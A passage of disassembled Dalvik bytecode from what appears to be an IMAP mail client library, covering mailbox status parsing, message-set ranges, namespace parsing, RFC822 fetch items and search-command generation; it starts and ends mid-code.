.field public uidvalidity:J
.method public constructor <init>([Response)V
.registers 9
00000000 const-wide/16 v3, 0xFFFFFFFFFFFFFFFF
00000004 const/4 v2, 0x0
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 const/4 v6, 0x0
0000000A invoke-direct Object-><init>()V, p0
00000010 iput-object v6, p0, MailboxInfo->availableFlags:Flags
00000014 iput-object v6, p0, MailboxInfo->permanentFlags:Flags
00000018 iput v0, p0, MailboxInfo->total:I
0000001C iput v0, p0, MailboxInfo->recent:I
00000020 iput v0, p0, MailboxInfo->first:I
00000024 iput-wide v3, p0, MailboxInfo->uidvalidity:J
00000028 iput-wide v3, p0, MailboxInfo->uidnext:J
0000002C move v1, v2
:2E
0000002E array-length v0, p1
00000030 if-lt v1, v0, :58
:34
00000034 iget-object v0, p0, MailboxInfo->permanentFlags:Flags
00000038 if-nez v0, :56
:3C
0000003C iget-object v0, p0, MailboxInfo->availableFlags:Flags
00000040 if-eqz v0, :1B4
:44
00000044 new-instance v0, Flags
00000048 iget-object v1, p0, MailboxInfo->availableFlags:Flags
0000004C invoke-direct Flags-><init>(Flags)V, v0, v1
00000052 iput-object v0, p0, MailboxInfo->permanentFlags:Flags
:56
00000056 return-void
:58
00000058 aget-object v0, p1, v1
0000005C if-eqz v0, :6C
:60
00000060 aget-object v0, p1, v1
00000064 instance-of v0, v0, IMAPResponse
00000068 if-nez v0, :74
:6C
0000006C add-int/lit8 v0, v1, 0x1
00000070 move v1, v0
00000072 goto :2E
:74
00000074 aget-object v0, p1, v1
00000078 check-cast v0, IMAPResponse
0000007C const-string v3, "EXISTS"
00000080 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v3
00000086 move-result v3
00000088 if-eqz v3, :9E
:8C
0000008C invoke-virtual IMAPResponse->getNumber()I, v0
00000092 move-result v0
00000094 iput v0, p0, MailboxInfo->total:I
00000098 aput-object v6, p1, v1
0000009C goto :6C
:9E
0000009E const-string v3, "RECENT"
000000A2 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v3
000000A8 move-result v3
000000AA if-eqz v3, :C0
:AE
000000AE invoke-virtual IMAPResponse->getNumber()I, v0
000000B4 move-result v0
000000B6 iput v0, p0, MailboxInfo->recent:I
000000BA aput-object v6, p1, v1
000000BE goto :6C
:C0
000000C0 const-string v3, "FLAGS"
000000C4 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v3
000000CA move-result v3
000000CC if-eqz v3, :E4
:D0
000000D0 new-instance v3, FLAGS
000000D4 invoke-direct FLAGS-><init>(IMAPResponse)V, v3, v0
000000DA iput-object v3, p0, MailboxInfo->availableFlags:Flags
000000DE aput-object v6, p1, v1
000000E2 goto :6C
:E4
000000E4 invoke-virtual IMAPResponse->isUnTagged()Z, v0
000000EA move-result v3
000000EC if-eqz v3, :6C
:F0
000000F0 invoke-virtual IMAPResponse->isOK()Z, v0
000000F6 move-result v3
000000F8 if-eqz v3, :6C
:FC
000000FC invoke-virtual IMAPResponse->skipSpaces()V, v0
00000102 invoke-virtual IMAPResponse->readByte()B, v0
00000108 move-result v3
0000010A const/16 v4, 0x5B
0000010E if-eq v3, v4, :11A
:112
00000112 invoke-virtual IMAPResponse->reset()V, v0
00000118 goto :6C
:11A
0000011A const/4 v3, 0x1
0000011C invoke-virtual IMAPResponse->readAtom()String, v0
00000122 move-result-object v4
00000124 const-string v5, "UNSEEN"
00000128 invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
0000012E move-result v5
00000130 if-eqz v5, :14A
:134
00000134 invoke-virtual IMAPResponse->readNumber()I, v0
0000013A move-result v4
0000013C iput v4, p0, MailboxInfo->first:I
:140
00000140 if-eqz v3, :1AA
:144
00000144 aput-object v6, p1, v1
00000148 goto :6C
:14A
0000014A const-string v5, "UIDVALIDITY"
0000014E invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
00000154 move-result v5
00000156 if-eqz v5, :168
:15A
0000015A invoke-virtual IMAPResponse->readLong()J, v0
00000160 move-result-wide v4
00000162 iput-wide v4, p0, MailboxInfo->uidvalidity:J
00000166 goto :140
:168
00000168 const-string v5, "PERMANENTFLAGS"
0000016C invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
00000172 move-result v5
00000174 if-eqz v5, :188
:178
00000178 new-instance v4, FLAGS
0000017C invoke-direct FLAGS-><init>(IMAPResponse)V, v4, v0
00000182 iput-object v4, p0, MailboxInfo->permanentFlags:Flags
00000186 goto :140
:188
00000188 const-string v5, "UIDNEXT"
0000018C invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
00000192 move-result v4
00000194 if-eqz v4, :1A6
:198
00000198 invoke-virtual IMAPResponse->readLong()J, v0
0000019E move-result-wide v4
000001A0 iput-wide v4, p0, MailboxInfo->uidnext:J
000001A4 goto :140
:1A6
000001A6 move v3, v2
000001A8 goto :140
:1AA
000001AA invoke-virtual IMAPResponse->reset()V, v0
000001B0 goto/16 :6C
:1B4
000001B4 new-instance v0, Flags
000001B8 invoke-direct Flags-><init>()V, v0
000001BE iput-object v0, p0, MailboxInfo->permanentFlags:Flags
000001C2 goto/16 :56
.end method
#--------------------------------------------------------------------------------
.class public MessageSet
.super Object
.source ""
.field public end:I
.field public start:I
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(I, I)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput p1, p0, MessageSet->start:I
0000000A iput p2, p0, MessageSet->end:I
0000000E return-void
.end method
.method public static createMessageSets([I)[MessageSet
.registers 6
00000000 new-instance v1, Vector
00000004 invoke-direct Vector-><init>()V, v1
0000000A const/4 v0, 0x0
:C
0000000C array-length v2, p0
0000000E if-lt v0, v2, :26
:12
00000012 invoke-virtual Vector->size()I, v1
00000018 move-result v0
0000001A new-array v0, v0, [MessageSet
0000001E invoke-virtual Vector->copyInto([Object)V, v1, v0
00000024 return-object v0
:26
00000026 new-instance v2, MessageSet
0000002A invoke-direct MessageSet-><init>()V, v2
00000030 aget v3, p0, v0
00000034 iput v3, v2, MessageSet->start:I
00000038 add-int/lit8 v0, v0, 0x1
:3C
0000003C array-length v3, p0
0000003E if-lt v0, v3, :5E
:42
00000042 add-int/lit8 v3, v0, 0xFFFFFFFFFFFFFFFF
00000046 aget v3, p0, v3
0000004A iput v3, v2, MessageSet->end:I
0000004E invoke-virtual Vector->addElement(Object)V, v1, v2
00000054 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000058 add-int/lit8 v0, v0, 0x1
0000005C goto :C
:5E
0000005E aget v3, p0, v0
00000062 add-int/lit8 v4, v0, 0xFFFFFFFFFFFFFFFF
00000066 aget v4, p0, v4
0000006A add-int/lit8 v4, v4, 0x1
0000006E if-ne v3, v4, :42
:72
00000072 add-int/lit8 v0, v0, 0x1
00000076 goto :3C
.end method
.method public static size([MessageSet)I
.registers 4
00000000 const/4 v0, 0x0
00000002 if-nez p0, :8
:6
00000006 return v0
:8
00000008 move v1, v0
:A
0000000A array-length v2, p0
0000000C if-lt v0, v2, :14
:10
00000010 move v0, v1
00000012 goto :6
:14
00000014 aget-object v2, p0, v0
00000018 invoke-virtual MessageSet->size()I, v2
0000001E move-result v2
00000020 add-int/2addr v1, v2
00000022 add-int/lit8 v0, v0, 0x1
00000026 goto :A
.end method
.method public static toString([MessageSet)String
.registers 7
00000000 if-eqz p0, :A
:4
00000004 array-length v0, p0
00000006 if-nez v0, :E
:A
0000000A const/4 v0, 0x0
:C
0000000C return-object v0
:E
0000000E const/4 v0, 0x0
00000010 new-instance v1, StringBuffer
00000014 invoke-direct StringBuffer-><init>()V, v1
0000001A array-length v2, p0
:1C
0000001C aget-object v3, p0, v0
00000020 iget v3, v3, MessageSet->start:I
00000024 aget-object v4, p0, v0
00000028 iget v4, v4, MessageSet->end:I
0000002C if-le v4, v3, :5C
:30
00000030 invoke-virtual StringBuffer->append(I)StringBuffer, v1, v3
00000036 move-result-object v3
00000038 const/16 v5, 0x3A
0000003C invoke-virtual StringBuffer->append(C)StringBuffer, v3, v5
00000042 move-result-object v3
00000044 invoke-virtual StringBuffer->append(I)StringBuffer, v3, v4
:4A
0000004A add-int/lit8 v0, v0, 0x1
0000004E if-lt v0, v2, :64
:52
00000052 invoke-virtual StringBuffer->toString()String, v1
00000058 move-result-object v0
0000005A goto :C
:5C
0000005C invoke-virtual StringBuffer->append(I)StringBuffer, v1, v3
00000062 goto :4A
:64
00000064 const/16 v3, 0x2C
00000068 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v3
0000006E goto :1C
.end method
.method public size()I
.registers 3
00000000 iget v0, p0, MessageSet->end:I
00000004 iget v1, p0, MessageSet->start:I
00000008 sub-int/2addr v0, v1
0000000A add-int/lit8 v0, v0, 0x1
0000000E return v0
.end method
#--------------------------------------------------------------------------------
.class public Namespaces$Namespace
.super Object
.source ""
.field public delimiter:C
.field public prefix:String
.method public constructor <init>(Response)V
.registers 6
00000000 const/16 v3, 0x29
00000004 const/16 v2, 0x22
00000008 invoke-direct Object-><init>()V, p0
0000000E invoke-virtual Response->readByte()B, p1
00000014 move-result v0
00000016 const/16 v1, 0x28
0000001A if-eq v0, v1, :2E
:1E
0000001E new-instance v0, ProtocolException
00000022 const-string v1, "Missing \'(\' at start of Namespace"
00000026 invoke-direct ProtocolException-><init>(String)V, v0, v1
0000002C throw v0
:2E
0000002E invoke-virtual Response->readString()String, p1
00000034 move-result-object v0
00000036 invoke-static BASE64MailboxDecoder->decode(String)String, v0
0000003C move-result-object v0
0000003E iput-object v0, p0, Namespaces$Namespace->prefix:String
00000042 invoke-virtual Response->skipSpaces()V, p1
00000048 invoke-virtual Response->peekByte()B, p1
0000004E move-result v0
00000050 if-ne v0, v2, :9E
:54
00000054 invoke-virtual Response->readByte()B, p1
0000005A invoke-virtual Response->readByte()B, p1
00000060 move-result v0
00000062 int-to-char v0, v0
00000064 iput-char v0, p0, Namespaces$Namespace->delimiter:C
00000068 iget-char v0, p0, Namespaces$Namespace->delimiter:C
0000006C const/16 v1, 0x5C
00000070 if-ne v0, v1, :82
:74
00000074 invoke-virtual Response->readByte()B, p1
0000007A move-result v0
0000007C int-to-char v0, v0
0000007E iput-char v0, p0, Namespaces$Namespace->delimiter:C
:82
00000082 invoke-virtual Response->readByte()B, p1
00000088 move-result v0
0000008A if-eq v0, v2, :FA
:8E
0000008E new-instance v0, ProtocolException
00000092 const-string v1, "Missing \'\"\' at end of QUOTED_CHAR"
00000096 invoke-direct ProtocolException-><init>(String)V, v0, v1
0000009C throw v0
:9E
0000009E invoke-virtual Response->readAtom()String, p1
000000A4 move-result-object v0
000000A6 if-nez v0, :BA
:AA
000000AA new-instance v0, ProtocolException
000000AE const-string v1, "Expected NIL, got null"
000000B2 invoke-direct ProtocolException-><init>(String)V, v0, v1
000000B8 throw v0
:BA
000000BA const-string v1, "NIL"
000000BE invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000C4 move-result v1
000000C6 if-nez v1, :F4
:CA
000000CA new-instance v1, ProtocolException
000000CE new-instance v2, StringBuilder
000000D2 const-string v3, "Expected NIL, got "
000000D6 invoke-direct StringBuilder-><init>(String)V, v2, v3
000000DC invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
000000E2 move-result-object v0
000000E4 invoke-virtual StringBuilder->toString()String, v0
000000EA move-result-object v0
000000EC invoke-direct ProtocolException-><init>(String)V, v1, v0
000000F2 throw v1
:F4
000000F4 const/4 v0, 0x0
000000F6 iput-char v0, p0, Namespaces$Namespace->delimiter:C
:FA
000000FA invoke-virtual Response->peekByte()B, p1
00000100 move-result v0
00000102 if-eq v0, v3, :11E
:106
00000106 invoke-virtual Response->skipSpaces()V, p1
0000010C invoke-virtual Response->readString()String, p1
00000112 invoke-virtual Response->skipSpaces()V, p1
00000118 invoke-virtual Response->readStringList()[String, p1
:11E
0000011E invoke-virtual Response->readByte()B, p1
00000124 move-result v0
00000126 if-eq v0, v3, :13A
:12A
0000012A new-instance v0, ProtocolException
0000012E const-string v1, "Missing \')\' at end of Namespace"
00000132 invoke-direct ProtocolException-><init>(String)V, v0, v1
00000138 throw v0
:13A
0000013A return-void
.end method
#--------------------------------------------------------------------------------
.class public Namespaces
.super Object
.source ""
.field public otherUsers:[Namespaces$Namespace
.field public personal:[Namespaces$Namespace
.field public shared:[Namespaces$Namespace
.method public constructor <init>(Response)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-direct Namespaces->getNamespaces(Response)[Namespaces$Namespace, p0, p1
0000000C move-result-object v0
0000000E iput-object v0, p0, Namespaces->personal:[Namespaces$Namespace
00000012 invoke-direct Namespaces->getNamespaces(Response)[Namespaces$Namespace, p0, p1
00000018 move-result-object v0
0000001A iput-object v0, p0, Namespaces->otherUsers:[Namespaces$Namespace
0000001E invoke-direct Namespaces->getNamespaces(Response)[Namespaces$Namespace, p0, p1
00000024 move-result-object v0
00000026 iput-object v0, p0, Namespaces->shared:[Namespaces$Namespace
0000002A return-void
.end method
.method private getNamespaces(Response)[Namespaces$Namespace
.registers 6
00000000 invoke-virtual Response->skipSpaces()V, p1
00000006 invoke-virtual Response->peekByte()B, p1
0000000C move-result v0
0000000E const/16 v1, 0x28
00000012 if-ne v0, v1, :60
:16
00000016 new-instance v1, Vector
0000001A invoke-direct Vector-><init>()V, v1
00000020 invoke-virtual Response->readByte()B, p1
:26
00000026 new-instance v0, Namespaces$Namespace
0000002A invoke-direct Namespaces$Namespace-><init>(Response)V, v0, p1
00000030 invoke-virtual Vector->addElement(Object)V, v1, v0
00000036 invoke-virtual Response->peekByte()B, p1
0000003C move-result v0
0000003E const/16 v2, 0x29
00000042 if-ne v0, v2, :26
:46
00000046 invoke-virtual Response->readByte()B, p1
0000004C invoke-virtual Vector->size()I, v1
00000052 move-result v0
00000054 new-array v0, v0, [Namespaces$Namespace
00000058 invoke-virtual Vector->copyInto([Object)V, v1, v0
:5E
0000005E return-object v0
:60
00000060 invoke-virtual Response->readAtom()String, p1
00000066 move-result-object v0
00000068 if-nez v0, :7C
:6C
0000006C new-instance v0, ProtocolException
00000070 const-string v1, "Expected NIL, got null"
00000074 invoke-direct ProtocolException-><init>(String)V, v0, v1
0000007A throw v0
:7C
0000007C const-string v1, "NIL"
00000080 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000086 move-result v1
00000088 if-nez v1, :B6
:8C
0000008C new-instance v1, ProtocolException
00000090 new-instance v2, StringBuilder
00000094 const-string v3, "Expected NIL, got "
00000098 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000009E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
000000A4 move-result-object v0
000000A6 invoke-virtual StringBuilder->toString()String, v0
000000AC move-result-object v0
000000AE invoke-direct ProtocolException-><init>(String)V, v1, v0
000000B4 throw v1
:B6
000000B6 const/4 v0, 0x0
000000B8 goto :5E
.end method
#--------------------------------------------------------------------------------
.class public RFC822DATA
.super Object
.source ""
.implements Item
.field static final name:[C
.field public data:ByteArray
.field public msgno:I
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x6
00000002 new-array v0, v0, [C
00000006 fill-array-data v0, :14
0000000C sput-object v0, RFC822DATA->name:[C
00000010 return-void
00000014 .array-data 2 x 0x6
0x52
0x46
0x43
0x38
0x32
0x32
.end array-data
.end method
.method public constructor <init>(FetchResponse)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-virtual FetchResponse->getNumber()I, p1
0000000C move-result v0
0000000E iput v0, p0, RFC822DATA->msgno:I
00000012 invoke-virtual FetchResponse->skipSpaces()V, p1
00000018 invoke-virtual FetchResponse->readByteArray()ByteArray, p1
0000001E move-result-object v0
00000020 iput-object v0, p0, RFC822DATA->data:ByteArray
00000024 return-void
.end method
.method public getByteArray()ByteArray
.registers 2
00000000 iget-object v0, p0, RFC822DATA->data:ByteArray
00000004 return-object v0
.end method
.method public getByteArrayInputStream()ByteArrayInputStream
.registers 2
00000000 iget-object v0, p0, RFC822DATA->data:ByteArray
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, RFC822DATA->data:ByteArray
0000000C invoke-virtual ByteArray->toByteArrayInputStream()ByteArrayInputStream, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
#--------------------------------------------------------------------------------
.class public RFC822SIZE
.super Object
.source ""
.implements Item
.field static final name:[C
.field public msgno:I
.field public size:I
.method static constructor <clinit>()V
.registers 1
00000000 const/16 v0, 0xB
00000004 new-array v0, v0, [C
00000008 fill-array-data v0, :14
0000000E sput-object v0, RFC822SIZE->name:[C
00000012 return-void
00000014 .array-data 2 x 0xB
0x52
0x46
0x43
0x38
0x32
0x32
0x2E
0x53
0x49
0x5A
0x45
.end array-data
.end method
.method public constructor <init>(FetchResponse)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-virtual FetchResponse->getNumber()I, p1
0000000C move-result v0
0000000E iput v0, p0, RFC822SIZE->msgno:I
00000012 invoke-virtual FetchResponse->skipSpaces()V, p1
00000018 invoke-virtual FetchResponse->readNumber()I, p1
0000001E move-result v0
00000020 iput v0, p0, RFC822SIZE->size:I
00000024 return-void
.end method
#--------------------------------------------------------------------------------
.class SearchSequence
.super Object
.source ""
.field private static cal:Calendar
.field private static monthTable:[String
.method static constructor <clinit>()V
.registers 3
00000000 const/16 v0, 0xC
00000004 new-array v0, v0, [String
00000008 const/4 v1, 0x0
0000000A const-string v2, "Jan"
0000000E aput-object v2, v0, v1
00000012 const/4 v1, 0x1
00000014 const-string v2, "Feb"
00000018 aput-object v2, v0, v1
0000001C const/4 v1, 0x2
0000001E const-string v2, "Mar"
00000022 aput-object v2, v0, v1
00000026 const/4 v1, 0x3
00000028 const-string v2, "Apr"
0000002C aput-object v2, v0, v1
00000030 const/4 v1, 0x4
00000032 const-string v2, "May"
00000036 aput-object v2, v0, v1
0000003A const/4 v1, 0x5
0000003C const-string v2, "Jun"
00000040 aput-object v2, v0, v1
00000044 const/4 v1, 0x6
00000046 const-string v2, "Jul"
0000004A aput-object v2, v0, v1
0000004E const/4 v1, 0x7
00000050 const-string v2, "Aug"
00000054 aput-object v2, v0, v1
00000058 const/16 v1, 0x8
0000005C const-string v2, "Sep"
00000060 aput-object v2, v0, v1
00000064 const/16 v1, 0x9
00000068 const-string v2, "Oct"
0000006C aput-object v2, v0, v1
00000070 const/16 v1, 0xA
00000074 const-string v2, "Nov"
00000078 aput-object v2, v0, v1
0000007C const/16 v1, 0xB
00000080 const-string v2, "Dec"
00000084 aput-object v2, v0, v1
00000088 sput-object v0, SearchSequence->monthTable:[String
0000008C new-instance v0, GregorianCalendar
00000090 invoke-direct GregorianCalendar-><init>()V, v0
00000096 sput-object v0, SearchSequence->cal:Calendar
0000009A return-void
.end method
.method constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method private static and(AndTerm, String)Argument
.registers 6
00000000 invoke-virtual AndTerm->getTerms()[SearchTerm, p0
00000006 move-result-object v1
00000008 const/4 v0, 0x0
0000000A aget-object v0, v1, v0
0000000E invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, v0, p1
00000014 move-result-object v2
00000016 const/4 v0, 0x1
:18
00000018 array-length v3, v1
0000001A if-lt v0, v3, :20
:1E
0000001E return-object v2
:20
00000020 aget-object v3, v1, v0
00000024 invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, v3, p1
0000002A move-result-object v3
0000002C invoke-virtual Argument->append(Argument)V, v2, v3
00000032 add-int/lit8 v0, v0, 0x1
00000036 goto :18
.end method
.method private static body(BodyTerm, String)Argument
.registers 4
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A const-string v1, "BODY"
0000000E invoke-virtual Argument->writeAtom(String)V, v0, v1
00000014 invoke-virtual BodyTerm->getPattern()String, p0
0000001A move-result-object v1
0000001C invoke-virtual Argument->writeString(String, String)V, v0, v1, p1
00000022 return-object v0
.end method
.method private static flag(FlagTerm)Argument
.registers 9
00000000 const/4 v1, 0x0
00000002 invoke-virtual FlagTerm->getTestSet()Z, p0
00000008 move-result v3
0000000A new-instance v4, Argument
0000000E invoke-direct Argument-><init>()V, v4
00000014 invoke-virtual FlagTerm->getFlags()Flags, p0
0000001A move-result-object v0
0000001C invoke-virtual Flags->getSystemFlags()[Flags$Flag, v0
00000022 move-result-object v5
00000024 invoke-virtual Flags->getUserFlags()[String, v0
0000002A move-result-object v6
0000002C array-length v0, v5
0000002E if-nez v0, :48
:32
00000032 array-length v0, v6
00000034 if-nez v0, :48
:38
00000038 new-instance v0, SearchException
0000003C const-string v1, "Invalid FlagTerm"
00000040 invoke-direct SearchException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 move v0, v1
:4A
0000004A array-length v2, v5
0000004C if-lt v0, v2, :58
:50
00000050 array-length v0, v6
00000052 if-lt v1, v0, :128
:56
00000056 return-object v4
:58
00000058 aget-object v2, v5, v0
0000005C sget-object v7, Flags$Flag->DELETED:Flags$Flag
00000060 if-ne v2, v7, :7E
:64
00000064 if-eqz v3, :78
:68
00000068 const-string v2, "DELETED"
:6C
0000006C invoke-virtual Argument->writeAtom(String)V, v4, v2
:72
00000072 add-int/lit8 v0, v0, 0x1
00000076 goto :4A
:78
00000078 const-string v2, "UNDELETED"
0000007C goto :6C
:7E
0000007E aget-object v2, v5, v0
00000082 sget-object v7, Flags$Flag->ANSWERED:Flags$Flag
00000086 if-ne v2, v7, :A0
:8A
0000008A if-eqz v3, :9A
:8E
0000008E const-string v2, "ANSWERED"
:92
00000092 invoke-virtual Argument->writeAtom(String)V, v4, v2
00000098 goto :72
:9A
0000009A const-string v2, "UNANSWERED"
0000009E goto :92
:A0
000000A0 aget-object v2, v5, v0
000000A4 sget-object v7, Flags$Flag->DRAFT:Flags$Flag
000000A8 if-ne v2, v7, :C2
:AC
000000AC if-eqz v3, :BC
:B0
000000B0 const-string v2, "DRAFT"
:B4
000000B4 invoke-virtual Argument->writeAtom(String)V, v4, v2
000000BA goto :72
:BC
000000BC const-string v2, "UNDRAFT"
000000C0 goto :B4
:C2
000000C2 aget-object v2, v5, v0
000000C6 sget-object v7, Flags$Flag->FLAGGED:Flags$Flag
000000CA if-ne v2, v7, :E4
:CE
000000CE if-eqz v3, :DE
:D2
000000D2 const-string v2, "FLAGGED"
:D6
000000D6 invoke-virtual Argument->writeAtom(String)V, v4, v2
000000DC goto :72
:DE
000000DE const-string v2, "UNFLAGGED"
000000E2 goto :D6
:E4
000000E4 aget-object v2, v5, v0
000000E8 sget-object v7, Flags$Flag->RECENT:Flags$Flag
000000EC if-ne v2, v7, :106
:F0
000000F0 if-eqz v3, :100
:F4
000000F4 const-string v2, "RECENT"
:F8
000000F8 invoke-virtual Argument->writeAtom(String)V, v4, v2
000000FE goto :72
:100
00000100 const-string v2, "OLD"
00000104 goto :F8
:106
00000106 aget-object v2, v5, v0
0000010A sget-object v7, Flags$Flag->SEEN:Flags$Flag
0000010E if-ne v2, v7, :72
:112
00000112 if-eqz v3, :122
:116
00000116 const-string v2, "SEEN"
:11A
0000011A invoke-virtual Argument->writeAtom(String)V, v4, v2
00000120 goto :72
:122
00000122 const-string v2, "UNSEEN"
00000126 goto :11A
:128
00000128 if-eqz v3, :146
:12C
0000012C const-string v0, "KEYWORD"
:130
00000130 invoke-virtual Argument->writeAtom(String)V, v4, v0
00000136 aget-object v0, v6, v1
0000013A invoke-virtual Argument->writeAtom(String)V, v4, v0
00000140 add-int/lit8 v1, v1, 0x1
00000144 goto :50
:146
00000146 const-string v0, "UNKEYWORD"
0000014A goto :130
.end method
.method private static from(String, String)Argument
.registers 4
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A const-string v1, "FROM"
0000000E invoke-virtual Argument->writeAtom(String)V, v0, v1
00000014 invoke-virtual Argument->writeString(String, String)V, v0, p0, p1
0000001A return-object v0
.end method
.method static generateSequence(SearchTerm, String)Argument
.registers 4
00000000 instance-of v0, p0, AndTerm
00000004 if-eqz v0, :16
:8
00000008 check-cast p0, AndTerm
0000000C invoke-static SearchSequence->and(AndTerm, String)Argument, p0, p1
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 instance-of v0, p0, OrTerm
0000001A if-eqz v0, :2C
:1E
0000001E check-cast p0, OrTerm
00000022 invoke-static SearchSequence->or(OrTerm, String)Argument, p0, p1
00000028 move-result-object v0
0000002A goto :14
:2C
0000002C instance-of v0, p0, NotTerm
00000030 if-eqz v0, :42
:34
00000034 check-cast p0, NotTerm
00000038 invoke-static SearchSequence->not(NotTerm, String)Argument, p0, p1
0000003E move-result-object v0
00000040 goto :14
:42
00000042 instance-of v0, p0, HeaderTerm
00000046 if-eqz v0, :58
:4A
0000004A check-cast p0, HeaderTerm
0000004E invoke-static SearchSequence->header(HeaderTerm, String)Argument, p0, p1
00000054 move-result-object v0
00000056 goto :14
:58
00000058 instance-of v0, p0, FlagTerm
0000005C if-eqz v0, :6E
:60
00000060 check-cast p0, FlagTerm
00000064 invoke-static SearchSequence->flag(FlagTerm)Argument, p0
0000006A move-result-object v0
0000006C goto :14
:6E
0000006E instance-of v0, p0, FromTerm
00000072 if-eqz v0, :94
:76
00000076 check-cast p0, FromTerm
0000007A invoke-virtual FromTerm->getAddress()Address, p0
00000080 move-result-object v0
00000082 invoke-virtual Address->toString()String, v0
00000088 move-result-object v0
0000008A invoke-static SearchSequence->from(String, String)Argument, v0, p1
00000090 move-result-object v0
00000092 goto :14
:94
00000094 instance-of v0, p0, FromStringTerm
00000098 if-eqz v0, :B2
:9C
0000009C check-cast p0, FromStringTerm
000000A0 invoke-virtual FromStringTerm->getPattern()String, p0
000000A6 move-result-object v0
000000A8 invoke-static SearchSequence->from(String, String)Argument, v0, p1
000000AE move-result-object v0
000000B0 goto :14
:B2
000000B2 instance-of v0, p0, RecipientTerm
000000B6 if-eqz v0, :E0
:BA
000000BA check-cast p0, RecipientTerm
000000BE invoke-virtual RecipientTerm->getRecipientType()Message$RecipientType, p0
000000C4 move-result-object v0
000000C6 invoke-virtual RecipientTerm->getAddress()Address, p0
000000CC move-result-object v1
000000CE invoke-virtual Address->toString()String, v1
000000D4 move-result-object v1
000000D6 invoke-static SearchSequence->recipient(Message$RecipientType, String, String)Argument, v0, v1, p1
000000DC move-result-object v0
000000DE goto :14
:E0
000000E0 instance-of v0, p0, RecipientStringTerm
000000E4 if-eqz v0, :106
:E8
000000E8 check-cast p0, RecipientStringTerm
000000EC invoke-virtual RecipientStringTerm->getRecipientType()Message$RecipientType, p0
000000F2 move-result-object v0
000000F4 invoke-virtual RecipientStringTerm->getPattern()String, p0
000000FA move-result-object v1
000000FC invoke-static SearchSequence->recipient(Message$RecipientType, String, String)Argument, v0, v1, p1
00000102 move-result-object v0
00000104 goto :14
:106
00000106 instance-of v0, p0, SubjectTerm
0000010A if-eqz v0, :11E
:10E
0000010E check-cast p0, SubjectTerm
00000112 invoke-static SearchSequence->subject(SubjectTerm, String)Argument, p0, p1
00000118 move-result-object v0
0000011A goto/16 :14
:11E
0000011E instance-of v0, p0, BodyTerm
00000122 if-eqz v0, :136
:126
00000126 check-cast p0, BodyTerm
0000012A invoke-static SearchSequence->body(BodyTerm, String)Argument, p0, p1
00000130 move-result-object v0
00000132 goto/16 :14
:136
00000136 instance-of v0, p0, SizeTerm
0000013A if-eqz v0, :14E
:13E
0000013E check-cast p0, SizeTerm
00000142 invoke-static SearchSequence->size(SizeTerm)Argument, p0
00000148 move-result-object v0
0000014A goto/16 :14
:14E
0000014E instance-of v0, p0, SentDateTerm
00000152 if-eqz v0, :166
:156
00000156 check-cast p0, SentDateTerm
0000015A invoke-static SearchSequence->sentdate(DateTerm)Argument, p0
00000160 move-result-object v0
00000162 goto/16 :14
:166
00000166 instance-of v0, p0, ReceivedDateTerm
0000016A if-eqz v0, :17E
:16E
0000016E check-cast p0, ReceivedDateTerm
00000172 invoke-static SearchSequence->receiveddate(DateTerm)Argument, p0
00000178 move-result-object v0
0000017A goto/16 :14
:17E
0000017E instance-of v0, p0, MessageIDTerm
00000182 if-eqz v0, :196
:186
00000186 check-cast p0, MessageIDTerm
0000018A invoke-static SearchSequence->messageid(MessageIDTerm, String)Argument, p0, p1
00000190 move-result-object v0
00000192 goto/16 :14
:196
00000196 new-instance v0, SearchException
0000019A const-string v1, "Search too complex"
0000019E invoke-direct SearchException-><init>(String)V, v0, v1
000001A4 throw v0
.end method
.method private static header(HeaderTerm, String)Argument
.registers 4
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A const-string v1, "HEADER"
0000000E invoke-virtual Argument->writeAtom(String)V, v0, v1
00000014 invoke-virtual HeaderTerm->getHeaderName()String, p0
0000001A move-result-object v1
0000001C invoke-virtual Argument->writeString(String)V, v0, v1
00000022 invoke-virtual HeaderTerm->getPattern()String, p0
00000028 move-result-object v1
0000002A invoke-virtual Argument->writeString(String, String)V, v0, v1, p1
00000030 return-object v0
.end method
.method private static isAscii(String)Z
.registers 6
00000000 const/4 v0, 0x0
00000002 invoke-virtual String->length()I, p0
00000008 move-result v2
0000000A move v1, v0
:C
0000000C if-lt v1, v2, :14
:10
00000010 const/4 v0, 0x1
:12
00000012 return v0
:14
00000014 invoke-virtual String->charAt(I)C, p0, v1
0000001A move-result v3
0000001C const/16 v4, 0x7F
00000020 if-gt v3, v4, :12
:24
00000024 add-int/lit8 v1, v1, 0x1
00000028 goto :C
.end method
.method static isAscii(SearchTerm)Z
.registers 5
00000000 const/4 v2, 0x0
00000002 instance-of v0, p0, AndTerm
00000006 if-nez v0, :12
:A
